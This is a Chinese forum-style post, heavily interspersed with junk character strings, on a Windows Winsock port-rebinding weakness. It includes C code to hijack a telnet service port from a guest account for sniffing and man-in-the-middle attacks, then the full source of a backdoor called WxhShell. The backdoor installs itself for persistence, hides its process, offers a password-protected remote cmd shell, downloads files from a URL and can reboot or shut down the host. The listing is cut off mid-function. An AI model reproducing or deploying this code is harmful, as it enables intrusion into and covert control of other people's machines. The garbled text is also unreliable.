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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BEAY}P(y3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X_3hh} = l%u8Lq saddr.sin_family = AF_INET; 150x$~{/ 8wkt9: saddr.sin_addr.s_addr = htonl(INADDR_ANY); pOB<Bx5t K|D1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^@Qc!(P W%MS,zkAE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +T,0,^* LOwd mj 这意味着什么?意味着可以进行如下的攻击: 3<1x>e2nT qjg Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 so Lmr's VHLNJnA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hh&qjf O sy_C<O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JPZH%#E(
# xX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @'Pay)P `0+-:sXZ6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )g^O'e=m pUu<0a^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jnM}N:v LXth-j=] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zx: h)I j(>xP*il #include ZP0D)@8 #include +KTHZpp!c2 #include .jbxA2 #include CFoR!r:X DWORD WINAPI ClientThread(LPVOID lpParam); r&F
6ZCw int main() \IqCC h { n7/&NiHxv/ WORD wVersionRequested; nYBa+>3BDf DWORD ret; ^nFP#J)_5 WSADATA wsaData; ?1LRR
;-x BOOL val; ^q|W@uG-( SOCKADDR_IN saddr; HHs!6`R$0c SOCKADDR_IN scaddr; e;|$nw- int err; XBcbLF SOCKET s; B)P]C5KRD SOCKET sc; v5{2hCdt int caddsize; Ef@Et(f_mQ HANDLE mt; Uaj_,qb( DWORD tid; .F$cR^i5u wVersionRequested = MAKEWORD( 2, 2 ); <29K!
[ err = WSAStartup( wVersionRequested, &wsaData ); (Y^tky$9 if ( err != 0 ) { Y%}N@ ,lT printf("error!WSAStartup failed!\n"); bV"t;R9 return -1; H%}/O;C } |tse"A5Z saddr.sin_family = AF_INET;
rrphOG LEX @hkh //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f'M([gn^_ `UqX`MFz saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i;juwc^n} saddr.sin_port = htons(23); EiZa,}A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "-rqL { H_aG\
printf("error!socket failed!\n"); .2ZFJ.Z" return -1; H9!q)qlK } cVr+Wp7K#| val = TRUE; G9GLRdP //SO_REUSEADDR选项就是可以实现端口重绑定的 ekmWYQ
~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uK ,W { :V_UJ3xf printf("error!setsockopt failed!\n"); F'B0\v= return -1; J`{o`> } Y;
to9Kv$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6V#EEb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <jM
{ <8- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d..JW{ _qo\E=E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i1bmUKZ8'L { #ZP;] W ret=GetLastError(); |WOc0M[U printf("error!bind failed!\n"); cF?0=un return -1; )V_;]9<wt } B$hog_=s listen(s,2); <num!@2D while(1) nI1(2a1 { [%~yY& caddsize = sizeof(scaddr); 2. {/ls //接受连接请求 q[/pE7FL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !DF5NAE if(sc!=INVALID_SOCKET) 'P[#.9E { j"VDqDDz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "{Y6.)x if(mt==NULL) 8N3y(y0 { wTG(U3{3K printf("Thread Creat Failed!\n"); O}}rosA break; qL[SwEc } Mq'm
TM } (=EDqAZg CloseHandle(mt); A(cR/$fn6 } ;BKU
_}k= closesocket(s); (Q8r2*L WSACleanup(); #l3)3k*; return 0; Tf?`_jL } !_B*Po DWORD WINAPI ClientThread(LPVOID lpParam) -*Th=B- { 9QL%q;
# SOCKET ss = (SOCKET)lpParam; Zs ,6}m\ SOCKET sc; WJ[>p
ELT, unsigned char buf[4096]; 4%I[.dBnM SOCKADDR_IN saddr; SQ/HZ long num; ,xAF=t DWORD val; #VVfHCy DWORD ret; ,H^!G\ //如果是隐藏端口应用的话,可以在此处加一些判断 brlbJFZ19 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ED>a'y$f saddr.sin_family = AF_INET; hhFO, saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7T t!hf saddr.sin_port = htons(23); ]]3rSXs2}J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j]vEo~Bbh { Nd{U|k3pL printf("error!socket failed!\n"); a;M{-G return -1; Fop +xR,Z } ,LxkdV val = 100; TY'61xWi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IOY7w"|LW { /SQ/$`1{ ret = GetLastError(); KC9e{ return -1; ?)(-_N&T } 4"\cA:9a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .aVt d
[ { n=AcN ret = GetLastError(); ju.pQ=PSX return -1; rPqM&&+ } a(D=ZKbVU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $$"G1<EZ { +%u3% } printf("error!socket connect failed!\n"); =9,^Tu| closesocket(sc); FouN}X6 closesocket(ss); het<#3Bo return -1; N-Z=p)] } %\n|2*r while(1) ffBd { AQT_s9"0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4l68+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 M}f(-,9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CjP<'0gT num = recv(ss,buf,4096,0); r@bh,U$ if(num>0) T#*H send(sc,buf,num,0); 22U`1AD3U else if(num==0) ASre@pW break; 5,g +OY=\ num = recv(sc,buf,4096,0); v\@RwtP if(num>0) PLMC<4$s send(ss,buf,num,0); Ki7t?4YE else if(num==0) ,sL%Ykr break; ws^Ne30 R } ' VKD$q closesocket(ss); :."oWqb) closesocket(sc); n+te5_F return 0 ; jlFlhj:/I } di0@E<@1: L$.3,./ 0 yq ========================================================== vv{+p(~**O 4KnBb_w 下边附上一个代码,,WXhSHELL zB~< @ ahy6a,)K~ ========================================================== y$SUYG'v |5O>7~Tp #include "stdafx.h" $~W5! m &} `a"tYr #include <stdio.h> =!xX{o?64 #include <string.h> q CYu@Ho #include <windows.h> wWiYxBeN #include <winsock2.h> Q}KOb4D #include <winsvc.h> zyUS$g]& #include <urlmon.h> MGt>:&s(] #
#2'QNN #pragma comment (lib, "Ws2_32.lib") ck5cO-1>6 #pragma comment (lib, "urlmon.lib") c@3 5\!9 oW6Hufu+o #define MAX_USER 100 // 最大客户端连接数 t"q'"FX #define BUF_SOCK 200 // sock buffer vc&+qI+I3 #define KEY_BUFF 255 // 输入 buffer ?_Z-}f RLB"}&SF] #define REBOOT 0 // 重启 dIlpo0; F #define SHUTDOWN 1 // 关机 Zis,%XY :Ev
gUA\4 #define DEF_PORT 5000 // 监听端口 hpb|| V J ~3m7 #define REG_LEN 16 // 注册表键长度 t^FE]$, #define SVC_LEN 80 // NT服务名长度 fx[&"$X 1BZ##xV*:G // 从dll定义API 3Z=yCec] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;p`to"6IFD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~uty<fP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /pPH D] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PQ[?zNrSV X )tH23 // wxhshell配置信息 MK)}zjw struct WSCFG { 1BU97!
int ws_port; // 监听端口 5)lcgvp char ws_passstr[REG_LEN]; // 口令 1p$(\ int ws_autoins; // 安装标记, 1=yes 0=no "8ellKh char ws_regname[REG_LEN]; // 注册表键名 Kq-1 b char ws_svcname[REG_LEN]; // 服务名 dX@ic,? char ws_svcdisp[SVC_LEN]; // 服务显示名 i#t-p\Tcz char ws_svcdesc[SVC_LEN]; // 服务描述信息 )Ak#1w&q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R^o535pozc int ws_downexe; // 下载执行标记, 1=yes 0=no nH6SA1$kW char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^Z?m)qxvB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C|TQf8 76)"uqv1x }; e8^/S^ =&d m1Y a // default Wxhshell configuration `?(J(H struct WSCFG wscfg={DEF_PORT, &l1t5 ! "xuhuanlingzhe", fI<LxU_n: 1, O8A1200 "Wxhshell", f(D'qV T{ "Wxhshell", uH%b rbrU "WxhShell Service", PR:B6 F8 "Wrsky Windows CmdShell Service",
h]ae^M "Please Input Your Password: ", L,y
q=%h| 1, 8xgBNQdPT " http://www.wrsky.com/wxhshell.exe", Jcze.t "Wxhshell.exe" M?"4{ }; f/UU{vX( nLz;L r! // 消息定义模块 WX?nq'nr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8^y=YUT char *msg_ws_prompt="\n\r? for help\n\r#>"; s_IFl5D] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %"A8Af**I char *msg_ws_ext="\n\rExit."; >,]a>V char *msg_ws_end="\n\rQuit."; N wk char *msg_ws_boot="\n\rReboot..."; )-&@8` char *msg_ws_poff="\n\rShutdown..."; t,|Apl] char *msg_ws_down="\n\rSave to "; O@a OKk mnK<5KLg1 char *msg_ws_err="\n\rErr!"; JR.)CzC char *msg_ws_ok="\n\rOK!"; -EP1Rl`\ z@~H{glo char ExeFile[MAX_PATH]; _.; PLq~0 int nUser = 0; Yp;Z+!!UZ HANDLE handles[MAX_USER]; scH61Y8` int OsIsNt; /g{*px| ="& GU%$ SERVICE_STATUS serviceStatus; 5.{=Op! SERVICE_STATUS_HANDLE hServiceStatusHandle; AYfOETz Cy$~H // 函数声明 P(k*SB|D int Install(void); s_NY#MPz[ int Uninstall(void); X1.-C@o int DownloadFile(char *sURL, SOCKET wsh); '2lzMc>wvP int Boot(int flag); 0<!9D):Bb void HideProc(void); q&-mbWBj int GetOsVer(void); P ljPhAce int Wxhshell(SOCKET wsl); #RR;?`,L} void TalkWithClient(void *cs); t"GnmeH
i int CmdShell(SOCKET sock); ,W)DQwAg int StartFromService(void); MSS[-} int StartWxhshell(LPSTR lpCmdLine); ?YL JXq B.5+!z&7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e3SnC:OWf VOID WINAPI NTServiceHandler( DWORD fdwControl ); Az:~|P
%lnkD5 // 数据结构和表定义 yM@sGz6c! SERVICE_TABLE_ENTRY DispatchTable[] = { im?tZ, { V_J0I*Qa4 {wscfg.ws_svcname, NTServiceMain}, &!X<F, {NULL, NULL} )v_Wn[Y.H }; T"vf 7wx=# // 自我安装 G|Et'k.F4 int Install(void) u.X]K:Yow { |hika`35K char svExeFile[MAX_PATH]; g,JfT^ HKEY key; U|Fqna strcpy(svExeFile,ExeFile); v3Vve:}+ 3xs<w7 // 如果是win9x系统,修改注册表设为自启动 Lf5zHUH if(!OsIsNt) { MQwxQ{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (2H
GV+Dg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UV D D) RegCloseKey(key); M@{?#MkS% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y
bJg{Sb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CjpGo}a/ RegCloseKey(key); #G]IEO$M6 return 0; 5eff3qrH{ } BC.3U.
} d9S/_iCI } ny13+Q`^ else { .S54:vs ]?VVwft // 如果是NT以上系统,安装为系统服务 ~#)hqU' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HfSx*@\s if (schSCManager!=0) b=lJ`| { 59)w+AW SC_HANDLE schService = CreateService &f.|MNz; ( vmAnBY schSCManager, n5d8^c! 2 wscfg.ws_svcname, `YqtI/-w wscfg.ws_svcdisp, yk4@@kHW SERVICE_ALL_ACCESS, c46-8z$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qa=Y?=Za SERVICE_AUTO_START, PSq?8. SERVICE_ERROR_NORMAL, Vt}QPNt svExeFile, @h|qL-:!vG NULL, L/:l>Ko>7 NULL, }X{rE|@ NULL, %J-0%-/_S: NULL, 3F|p8zPS NULL >M2~p&Si ); pL{oVk#, if (schService!=0) Vhv'Z\ { Qz|T0\=V CloseServiceHandle(schService); ~7ZZb*].( CloseServiceHandle(schSCManager); zG_n x3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cQt&%SVT]E strcat(svExeFile,wscfg.ws_svcname); ~NK $rHwi% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rlKR
<4H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y
]()v RegCloseKey(key); [M[#f&=Z return 0; jOfG}:>e\ } 6ncwa<q5 } e&
`"}^X;I CloseServiceHandle(schSCManager); _:9}RT? } es6YxMg } v>`Fo[c 4O-LLH return 1; [Kc ?<3W } j<kW+Iio Am*IC?@tq // 自我卸载 B%\&Q@X int Uninstall(void) _\\Al v. { MBt\"b#t HKEY key; &'fER- pSlc (M> if(!OsIsNt) { Y_[7q<L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `r SOt*< RegDeleteValue(key,wscfg.ws_regname); yq;[1O_9C RegCloseKey(key); Fqw4XR_`~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e7GYz7 RegDeleteValue(key,wscfg.ws_regname); ?:$
q~[LY RegCloseKey(key); Kb+SssF return 0; vgy.fP"@ } KR$Fd } 14'\@xJMM } x$-kw{N else { -/?)0E iz-z?)% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q~9-A+n if (schSCManager!=0) kV1L.Xg { 5vLXMdN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;'{7wr|9 if (schService!=0) Zm0VaOT $I { 23r(4 if(DeleteService(schService)!=0) { fhN\AjB6Td CloseServiceHandle(schService); }
TUr96 CloseServiceHandle(schSCManager); oVK:A;3T| return 0; a,oTU\m
C } PoaCnoNS CloseServiceHandle(schService); kZG=C6a } KE,.Evyu= CloseServiceHandle(schSCManager); 1?&|V1vc } H[.)&7M\ }
]+Whv%M 2*75*EQCH return 1; }=EJM7sM|k } Rr
[_t FM YtvDayR> // 从指定url下载文件 r =x"E$ int DownloadFile(char *sURL, SOCKET wsh) %/I:r7UR{ { By@65KmR" HRESULT hr; 3=n6NTL char seps[]= "/"; V$hL\`e char *token; CsZm8oL$ char *file; Mbxl{M
> char myURL[MAX_PATH];
;wMu char myFILE[MAX_PATH]; ZS+m}.,whQ 8i[TeW" strcpy(myURL,sURL); Kuh3.1#o token=strtok(myURL,seps); H(;@7dh while(token!=NULL) [z!m { r2#G|/=@ file=token; lUjZ=3"' token=strtok(NULL,seps); _<f%==
I' } [4#HuO@h >;9g`d GetCurrentDirectory(MAX_PATH,myFILE); `0ym3} (O strcat(myFILE, "\\"); !T<,fR+8X strcat(myFILE, file); X(/fE?%; send(wsh,myFILE,strlen(myFILE),0); VX8rM!3 send(wsh,"...",3,0); 1_{ e*=/y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X[.%[G|oj} if(hr==S_OK)
a k5D return 0; 8F>9CO:&N else ?{ '_4n3O return 1; T`@brL X% 05[N } <J%Z?3@T Kkq-x'gt^ // 系统电源模块 (km
$qX int Boot(int flag) 424iFc[ { ykbfK$jz
HANDLE hToken; T&[6 TOKEN_PRIVILEGES tkp; Y}BP]#1 xKE=$SV( if(OsIsNt) { !B Pm{_C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :2xGfy?? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i45.2, tkp.PrivilegeCount = 1; \\ItN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *
;sz/. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mw,]Pt6~i if(flag==REBOOT) { s/@uGC0> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pBe1: return 0; dCM&Yf}K } ]R\L~Kr else { 95IP_1}? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N<SW
$ o return 0; =XQGg`8<LB } j_,/U^Ws|f } XE_Lz2H` else { EXeV@kg if(flag==REBOOT) { yg8= G vO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }JtcAuQt return 0; Z{vc6oj } u:J(0re else { T"htWo{v> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;5;>f)diS return 0; to).PI? } r&xIVFPI[ } O1jiD_Y!9 x7e0& return 1; C+t3a@&| } K?,?.!ev EG^
rh; // win9x进程隐藏模块 #f(tzPD void HideProc(void) T\Xf0|y { #xx.yn(7 T\.~!Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +fY@q,` if ( hKernel != NULL ) Kh4rl)L*+% { #@-dT,t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $W}:,]hoj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +a,#BSt FreeLibrary(hKernel); dpE^BW v3 } h{"SV*Xpk/ D8!
Y0 return; W2-l_{ } bx2<WdLyT %cDGs^lgA // 获取操作系统版本 .n_Z0&i/w int GetOsVer(void) E8PwA. { *MfH\X379 OSVERSIONINFO winfo; mEYfsO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P%&|?e~D^ GetVersionEx(&winfo); n}Eu^^d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2?LPr return 1; :mDOqlXW/ else 4/{pz$ return 0; OH`zeI,[* } VFawASwQ FT>>XP8 // 客户端句柄模块 3d;J"e+? int Wxhshell(SOCKET wsl) jQ7;-9/~N { e~*tQ4 SOCKET wsh; n&&C(#mBC struct sockaddr_in client; =?4[:#Rh DWORD myID; ]O:u9If }s?w-u+(c6 while(nUser<MAX_USER) ?/T=Gk { a{e
2*V int nSize=sizeof(client); Ar~<l2,{r wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d]K8*a%[- if(wsh==INVALID_SOCKET) return 1; ,Gbc4x dpchZ{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fup?Mg- if(handles[nUser]==0) \kKd:C{ closesocket(wsh); wbr$w>n else V%;dTCq nUser++; Rf)|p; } XySkm2y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4`o0?_.' 7gOu|t return 0; W\0u[IV.x } ' xaPahx; IAUc.VH // 关闭 socket wAu]U6! void CloseIt(SOCKET wsh) }+S~Ah?( { *!%n`BR ' closesocket(wsh); sRBfLN2C nUser--; % &H^UxC ExitThread(0); )mAD <y+ } JgHYuLB dg*xo9Xi` // 客户端请求句柄 EJz!#f~ void TalkWithClient(void *cs) .
WJ { Q~Nq5[ !s$1C=z5u SOCKET wsh=(SOCKET)cs; b^<7a& char pwd[SVC_LEN]; r91i : char cmd[KEY_BUFF]; sqF.,A, char chr[1]; CD#U`jf int i,j; F@ pf._c K&{ _s while (nUser < MAX_USER) { Lwm /[ =B+dhZ+#S$ if(wscfg.ws_passstr) { Z= -fL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p|qLr9\A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UWqiA`, //ZeroMemory(pwd,KEY_BUFF); 7)O+s/.P) i=0; p]~PyzG! while(i<SVC_LEN) { Hsov0 (6H7?nv // 设置超时 =],c$) fd_set FdRead; Z
s|*+[ struct timeval TimeOut;
!jEV75 FD_ZERO(&FdRead); "p+oi@ FD_SET(wsh,&FdRead); iM9k!u FE TimeOut.tv_sec=8; xrY >Or TimeOut.tv_usec=0; c>c4IQ&d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); txMC^-J2l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E.N>,N s)3CosU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J^DyhCs pwd =chr[0]; A? jaS9 &) if(chr[0]==0xd || chr[0]==0xa) { :.BjJ2[S pwd=0; ; %AgKgV
break; Rq",;,0ZJ } MVQ6I/EA4 i++; =D?HL? } Yc)Dx3 &{wRB l # // 如果是非法用户,关闭 socket mo4F\$2N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y>E` 7n } zcOm"-E- ^I6Vz?0Jl send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c9nv=?/}f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JAMV@ m4~~ q[t while(1) {
{fEb> j~+(#| ZeroMemory(cmd,KEY_BUFF); [*C~BM (B@\Dw8^ // 自动支持客户端 telnet标准 )VG>6x
j=0; _~>WAm< while(j<KEY_BUFF) { ~EQ#
%db if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X$t!g` cmd[j]=chr[0]; 7FaF]G if(chr[0]==0xa || chr[0]==0xd) { tK+JmbB\ cmd[j]=0; ?hp,h3s;n$ break; DtS7)/<T
} Gf~^Xv!T j++; o?= &kx } Jfv'M<I qM
Qu!%o // 下载文件 "~K ph0- if(strstr(cmd,"http://")) { >wYmx4W> send(wsh,msg_ws_down,strlen(msg_ws_down),0); !iX/Ni: if(DownloadFile(cmd,wsh)) \|]+sQ WQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :To{&T else z}r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vik2RW } 5YI6$ZdQ else { L"T :#> &(o&Y switch(cmd[0]) { #'i,'h+F ofYZ!-V // 帮助 h y\iot case '?': { K1;b4Sl?A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hv|-`}#0
break; ycIcM~<4 } Hy'EbQ // 安装 r M}o) case 'i': { |w>b0aY if(Install()) CNWA!1n^Hy send(wsh,msg_ws_err,strlen(msg_ws_err),0); i}|jHlv else @o<B>$tbu4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }KftVnD? break; SFEDR?s } (A?w|/bZd // 卸载 0}:Wh&g case 'r': { k0b6X5 if(Uninstall()) O
~[[JAi[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3g!_ else "-IF_Hid send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%0a break; olHmRJ } NQOf\.#g // 显示 wxhshell 所在路径 j(pe6 case 'p': { Lo)T char svExeFile[MAX_PATH]; @6;ZP1 strcpy(svExeFile,"\n\r"); 0uGTc[^^M strcat(svExeFile,ExeFile); cp`ZeLz2^ send(wsh,svExeFile,strlen(svExeFile),0); BuitM|k' break; y<BG- } Xoq - // 重启 ;<F^&/a|yQ case 'b': { 1:|o7` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Iy4REP| if(Boot(REBOOT)) OzTR#`oey send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( pCU:'" else { ^7:UC\_ closesocket(wsh); B'PS-Jr ExitThread(0); T#H-GOY: } r. rzU break; tp\d:4~R } hfvC-f97L // 关机 au+:-Khm case 'd': { ]%G#x send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [KW)z#`* if(Boot(SHUTDOWN)) e?GzvM'2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>fr+3a"P else { 3@0!]z^W closesocket(wsh); *^Z -4 ExitThread(0); {uqP+Cs } w H`GzB" break; Ty;^3 } kH[thRk} // 获取shell $P #KL// case 's': { :o:/RR p[ CmdShell(wsh); O/&Qzt closesocket(wsh); m_;XhO ExitThread(0); 16~5 ;u break; xaq/L:I< } Q:ql~qew // 退出 & TN.6Hm3 case 'x': { SEM-t send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pn?gB}l CloseIt(wsh); wj Kc!iB break; ')WS :\J } 2UBAk')O} // 离开 T-js* case 'q': { A#F6~QX(.9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); u3jLe=Y'\ closesocket(wsh); BY$L[U;@T WSACleanup(); I5Rd~-="G exit(1); )L"J?wTe break; H.tfn>N| } #A<
|qd } !H9zd\wc } LZJFp@ <yw=+hz[u // 提示信息 |A=~aQot if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :vFYqoCn } {Bpu-R&T } >GDf*
ox[ 8K\S]SZ return; ogdgLTi } - C8VDjf9 Pf3F)y [= // shell模块句柄 {J;(K~>?m int CmdShell(SOCKET sock) F]RZP/D` { Yg;7TKy STARTUPINFO si; ;;432^jD ZeroMemory(&si,sizeof(si)); LS<*5HWX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,jy9\n*<t9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q_k'7Z\g$ PROCESS_INFORMATION ProcessInfo; k+eeVy char cmdline[]="cmd";
1<0Z@D~F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B2)5Z] return 0; <II>io; } fV!~SX6S ?]_A~_J! // 自身启动模式 - G=doP0 int StartFromService(void) H 9?txNea { Jg6@)<n typedef struct ;"NW=P& { * YLpC^& DWORD ExitStatus; d(, M DWORD PebBaseAddress; Z3 dI
B`@ DWORD AffinityMask; H_u%e*W DWORD BasePriority; YizwKcuZ ULONG UniqueProcessId; {@t6[g++ ULONG InheritedFromUniqueProcessId; '*K%\] } PROCESS_BASIC_INFORMATION; CI|#,^ @3?dI@i( PROCNTQSIP NtQueryInformationProcess; =vb 'T y*-D static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G~f|Sx static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 22E I`}"J b C"rQJg HANDLE hProcess; k!g%vx PROCESS_BASIC_INFORMATION pbi; ca'c5*Fs o"qG'\x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j__l'?s if(NULL == hInst ) return 0; lQVK~8t3 75c\.=G9q< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TTSq }sb} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ge*N%=MX8 